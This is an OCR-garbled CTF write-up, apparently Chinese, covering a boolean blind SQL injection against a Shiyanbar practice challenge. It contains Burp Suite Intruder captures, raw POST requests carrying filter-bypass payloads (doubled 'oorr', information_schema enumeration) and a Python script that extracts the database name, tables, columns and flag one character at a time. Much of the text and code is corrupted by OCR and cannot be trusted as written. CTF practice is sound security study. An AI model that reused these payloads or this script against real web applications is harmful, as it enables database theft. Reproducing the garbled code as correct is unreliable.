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Please input the id

Request | Payload | Status | Error | Timeout | Length & | Comment |
13 a 200 J L)
14 7 200 LJ L] 9N
25 ' 200 J L)
a7 @variable 200 L L 911
89 PRINT 200 J L)
61 select 200 L L 911
62 insert 200 J L)
63 as 200 LJ L] 9N
64 ar 200 ] L) 9
G5 procedure 200 L L 911

Request | Response ]

J Raw I Headers T Hex T HTML I Render ]

<!DOCTYPE html>
<html lang="en" style="height:l00%">
<head>
<meta charset="UTF-8">
<titlexDoocument</titlex
</ heads>
<body style="height: l00%;margin:0 auto; ">
<div style="position:relative;margin:0 auto;background-color: black;color:white; font-size:
15px;width: 100%; height: LO00%; ">
<form action="" method="post" style="margin:0
auto;width: 1200px; height: l00px;: padding-top: 50px; ">
<pre>Please input the id</pre>
<lnput type="text" name="id">
<bre<br>
<linput type="submit" name="submit">
<bre<br>
<font size="10" style="text-align:center;margin:0 auto;" color="#FFFFO0">You are not in
............... </brx»</font> </ form>
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Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
POST /web/earnest/index.php HTTP/L.1 n HTTP/Ll.l 200 OK
Host: ctfS.shiyanbar.com - Date: Thu, 28 Mar 2018 11:08:43 GNT
User-Agent: Mozilla/5.0 (Windows NT &.1; Winé4; =64:; rv:59.0) Server: Apache/2.4.18 (Win3Z) Open33L/1.0.Ze PHP/5.3.28
Gecko/20100101 Firefox/58.0 ¥-Powered-By: PHP/5.3.29
Lecept: Content-Length: £93
text/html, application/xhtml4xml, application/xml;q=0.9, */*;q=0.8 Connection: close
Accept-Language: Content-Type: text/html;charset=utf-g
zh-CN, zh; =0.8, zh-TW;q=0.7, zh-HE; q=0.5,en-U3:q=0.3,en; =0.2
Peferer: http://ctfS.shiyanbar.com/web/earnest/index. php <!DOCTYPE htmil>
Content-Type: application/x-www-form-urlencoded <html lang="en" style="height:l00%">
Content-Length: 54 <heads>
Cookie: <meta charset="UTF-8">
Hm lvt_34d6f7353ab0915a4c582e4516dffbe3=1522220314, 1522229927, 15 <title>Document</titles>
2228IC243,1522313499; </head>
Hm ov_34def7353ab0Y9%15a4c582e4516dffhe3=1 visitor*144611%2Cnickla <body style="height:l00%;margin:0 auto; ">
me%3ASESSBCYADSESSBFS ADSET4S 15CE:; <div styl position:relativermargin:0 auto:background-color:
Hm lpvt 34def7353ab0915a4c582e451edffhe3=1522313525; black;color:white;font-size: LS5px;width: l00%;height:100%;">
PHPSESSID=53qgsfmkl8ucahrgZiqiellgacd <form actio " metho "post'" style="margin:0
Connection: close auto;width: 1200px; he ight: 100px; padding—top : 50px; ">
Upgrade-Tnsecure-Requests: 1 <pre>Please input the id</pres
<input type="text"” name="id">
id=0" O': =lsubmit=%EE%0F%Y0%E4%EAS A4S EESOFSASSEDSAFS AD <hre<br>
<input type="submit" name="submit">
<hr><hr>
<font size="10" style="text-align:center;margin:0 auto;” color="#FFFFO0">You are not in
............... </br></fonc> </ form>
</div>
</body>
</html>
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

POST /web/earnest/index.php HTTP/L1.1

A HTTP/1.1 200 OK
Host: ctf5.shivanbar.com - Date: Thu, 28 Mar Z0O18 11:14:01 GMT
User-Agent: Mozilla/5.0 (Windows NT &.1; Win&4; =€4; rv:53.0) Server: Apache/2.4.18 (Win3Z) Open33L/1.0.2e PHP/5.3.29
Geeko/Z0100101 Firefox/53.0 ¥-Powsred-By: PHP/5.3.28
Lecept: Content-Length: &£50
text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8 Connection: close
Accept-Language : Content-Type: text/html;charsst=utf-8
2h-CH, zh; q=0.8, sh-TW; q=0.7, zh-HK; q=0.5, en-US; q=0.3 ,en; q=0.2
Referer: http://ctfS.shiyanbar.com/web/earnest/ index.php <!DOCTYPE html>
Content-Type: application/x-www-form-urlencoded <html lang="en" style="height:100%">
Content-Length: 5§ <head>
Cookie: <meta charset="UTF-8">
Hm 1vt_34d&f7353ab0915a4c58224516dffbe3=1522220314, 15222269927, 15 <title>Document</title>
2 3,152231348S; </head>
Hm cv_34dEf7353ab0915a4c582e4518difhe3=1 visitor"144€1132Cnickla <body style="height:l00%;margin:0 auto;">
me%3A%ES%BCY ADSESSBF3 ADSET391%9E; <div style="position:relative;margin:0 auto;background-color:
Hm lpwt_34dEf7353ab0915a4c58224516dffhbe3=1522313525; black;color:white; font-size: 15px;width:100%;height:100%;
PHPSESSID=5sgsfmklBucahrgiigTellgacd <form action="" method="post" style="margin:0
Connection: close auto; width: 1200px; height: 100px; padding-top: 50px; ">
Upgrads-Insscure-Requests: L <pre>Please input the id</pres>
<input type="text" names="id">
id=0" DDl’:k' L=1lsubmit=%E65%0F%90%E45BAS A4S EE%OFS ASSEDSAFS A2 <hrr<br>
<input type="submit" name="submit
<hr><br:>
<font size="l10" style="text-align:center;margin:0 auto;" color="#FFFFO0">You are in
o o o -</br=</font> </ form>
</dive
</body>
</html>

AT DU HIWT T B SQLIB RIS RE R R B N1 EE NN SN IEHRYE, HBhMERBEELKE. Wik
id=0'oorr(length(database())=len)oorr'0¥I Wi Ei#E FE & K E . len2 B EMKE . #Hburp suite#HTH#E, RI

len=18.



POST fweb/earnest/index.php HTTP/Ll.1

Host: ctfS.shiyanbar.com

User—Agent: Mozilla/5.0 (Windows NT £€.1; Wing4:; x&4; rv:59.0) Gecko/20100l01 Firefox/59.0
Aecept: text/html,application/xhtml+xml, application/xml;gq=0.9, */*:q=0.8

Accept-Language: zh-CN, zh;q=0.8, sh-TW;q=0.7, zh-HE;q=0.5,en-US;q=0.3 ,en;c=0.2

Referer: http://ctfS.shiyanbar.com/weh/sarnest/ index.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 81

Cookie: Hm_lvt_ 34def7353ab0%l5a4c582e4516dffhe3=1520000314, 1522229927, L522282243, 15223 13495;
Hm cwv_ 34dEf7353ab0815a4c582e4518dffhe3=1*visitor*144611%2CnickNames3 ASESSECS AOSESSEFSAOSETSE1%5E;
Hm lpwve_34def7353ab05815a4c582e4516dffhe3=1522313525; PHPSESSID=5=sgsimklBucahraZlqiellgacd
Connection: close

Upgrads-Insecure-Requests: L

id=0'oorr (length (database () ) =808) corr' Osubmit=%EE58F%00%E4%BAY A4SEE%OFSASSESSAFS AD

“ Intruder attac

Attack Save Columns

g 2 TS0 s

jResults T Target I Positions I Payloads IOptions ]

| Filter: Showing all items

Request | Payload | Status | Error | 'I'lmeout| Length & | Comment
19 18 200 O [ 908
0 200 O L 9anm
1 0 200 d O 9
2 1 200 O O 9
3 2 200 Od O 9

? < + =3 Type a search term

Request | Response ]

Raw | Headers | Hex HTMLTRender]

1 payload position

<body style="height:l00%:margin:0 auto:™:>

15px;width: 100%; height: 100%; ">
<form action="" method="post" style="margin:0
auto;width: 1200px; height : 100px; padding-top: 50p=; ">
<pre>Please input the id</pres>
<input type="text” name="id">

<br><br>
<input type="submit" name="submit":>
<br>»<br>
. P <font size="10" style="text-align:center:;wargin:0 auto:" color="#FFFFO0">You are in
BEgE: A </brz</font> </ form>

<div style="position:relative;nargin:0 auto;background-color: black;color:white;font-size:

SR X HE PR AL AR, ST — A BRI T B AT R A DA N, W UAE RS R OvcEC. B

AR PR W] DA SR R . 304 FE 4 Jctf_sql_bool_blind. FH
id=0'oorr((mid((user())from(y)foorr(x)))='%s")oorr'0 fifoorr& N T & Sa il Bor, 7EMIERor)E ¥ Bfor.

—
! Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosecvn

Burp Intruder Repeater Window Help

[Targel Proxy | Spider [Scanner Ilnkl\ldel T Repeater ISequencer IDecoder WI Attack -Save Columns

i j Results T Target [ Positions I Payloads IOpLions }
[Targel TP I o IOleons ] _“‘ Filter: Showing all items ‘ ? f
2| Payload Positions Request ‘ Payload | Status | Eror ‘ Tlmeaut| Length & ‘ Comment
Configure the positions where payloads will be inserted into the base request. The: 4 c 200 d ] 908 =
3 200 U [ O Jaos
Attack type: lSmper 0 200 O O
1 200 (] O 911
POST /web/earnest/indsx.php HTTE/L.L 2 a 200 O O 911
Host: ctfS.shivanbar.com
User-Agent: Mozilla/5.0 (Windows NT £.1; Wing4; x€4; rv:59. 3 b 200 D D m
Accepr: texc/html,application/xhtml+xml, application/xml; q=| [ d 200 D D 911
Accept-Language: zh-CN, zh;g=0.8, zh-TW;q=0.7, zh-HEK;q=0.5,en
Referer: htep://ctfsS.shiyanbar.com/weh/earnsst/index. php 6 ° 200 D D m
Content-Type: application/x-www-form-urlencodsd 7 f 200 O O 911
_ : .
Content-Length: 81 . I 8 g 200 D D 911 ]
Coolis: Hm lvt 34def7353ab0S15adc582e451E8dffbe3=15222203 14, —
Hm ov 34dEf7353ab0915adc582e45 ledifhe3=1 visitor 144611520
Hm lpwt_ 34def7353ab0915a405822451edffhe3=1522313525; PHPSE
Connsction: close
Upgrade-TInsecure-Requests: 1 Raw | Headers | Hex | HTML | Render }
id=0'ocorr (mid(database () from(1l) foorr (1) )='E¥E' ) corr' Osubmi <html lang="=n" style="height:l00%"> &
<head> -
<meta charsst="UTF-5">
<title>Document</ritle>
</ head>
<body style="height:l00% margin:0 auto: ">
<div style="position:relative:margin:0 autosbackground-color: black:color:white:font-size: i

15px;widch: 100% height: 100%; ">
<form action="" method="post" style="margin:0
auto;width: 1200px; height: 100px; padding-top: 50px; ">
<pre>Please input the id</pre>
<input type="text" name="id">

<bhr><br>

<input type="submit" name="submit'>

<bhr><br>
<font gize="10" style="text-align:center;margin:0 auto:;" color="#FFFFOO">¥You are in
................ «/brx</font> </ form>

</ divs




B DUR I M AR ROE AR R R H 2 R HI R e R E. AT HEEBBEEERRNKE, ELNK
0 MKAN RS, HEBRWRSE, RENZAEHRA, —MNfiag, H—A Ausers. PRTENM 4 FGHISHE —H-
----- » TEARHBEIE RN RAERL . FHEBIES, id=0'corr((select(mid(group_concat(table_name
separatoorr '@')from(x)foorr(1)))from

(infoorrmation_schema.tables)where(table _schema)='ctf_sql_bool_blind")="y")oorr'0; xANHL¥, YyAFFRF.

NTHEEATUEMRAE. NRHZ EEflaghzfELfiagH .

true 9 fiag@users true 10 fiag@users-
flag@users fiag@users-

true 20 fiag@users-----------
fiag@users Y4 e Lo00- IS
HgExtfiagR #1752 B, {F A 8E4)id=0'orr((select(mid(group_concat(column_name separatoorr
'‘a)
from(x)foorr(1)))from(infoorrmation_schema.columns)where(table_name)='fiag')="y")oorr'0; R & —7%l, %%~
fi$4g,

Xt 5 EIRA . i payload: id=0'oorr((select(mid((fi$4g)from(x)foorr(1)))from(fiag))="y')oorr'0; &£ iEH: H
flag: flag{haha~you-win!{H ZflagH-B MR 74, #iEflagEH 2 RK--, RAKXH-BRKE B
flag{haha~you win!}

érue 5 fl$4g- true 20 flag{haha~you-win!}--

PLgagh flag{haharypu-winl}: =

FF 128 i python i 4 .

# -*- coding:utf8 -*-

import requests

chars ='~abcdefghijklmnopqrstuvwxyz_0123456789=+-*/{\}?!:@#$%&()[],."
len =len(chars)
url=r'http://ctf5.shiyanbar.com/web/earnest/index.php"
mys=requests.session()

true_state=b'You are in'

result =""

# BEEEEKE 18

payload = "@'oorr((length(database()))=%s)oorr'e"%(x)
myd={"'id" :payload}

res=mys.post(url, data=myd).content

#
#
#
#
#
#
# if true_state in res:
#



# print(x)

*

# print('true')

#HEWBIEEL ctf_sql _bool blind

# for x in range(18):

for y in chars:

payload = "0'oorr((mid((database())from(%s)foorr(1)))="%s"')oorr'0"%(x+1, y)

myd

{'id"': payload}

[RES

mys.post(url, data=myd).content

#
#
#
#
#
#
#
#
#
#
# print(str(y))
#
# if true_state in res:
#
# result = result + vy
#
# print('true'+str(x)+str(y))
#
# break
#
# print(result)
#HRW XL fiag@users
#HBW I 2 flesg@id@username@password
for x in range(50):
for y in chars:
# payload = "@'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1l)))from(info
# payload = "@'oorr((select(mid(group_concat(column_name separatoorr '@')from(%s)foorr(1)))from(inf
payload = "@'oorr((select(mid((f1$4g)from(%s)foorr(1l)))from(fiag))="%s"')oorr'e" % (x + 1, y)
payload = payload.replace(' ', chr(exea))
myd = {'id': payload}
res=mys.post(url, data=myd).content
print(str(y))
if true_state in res:
result = result + vy

print('true'+" "+str(x)+" "+result)

break



print(result)
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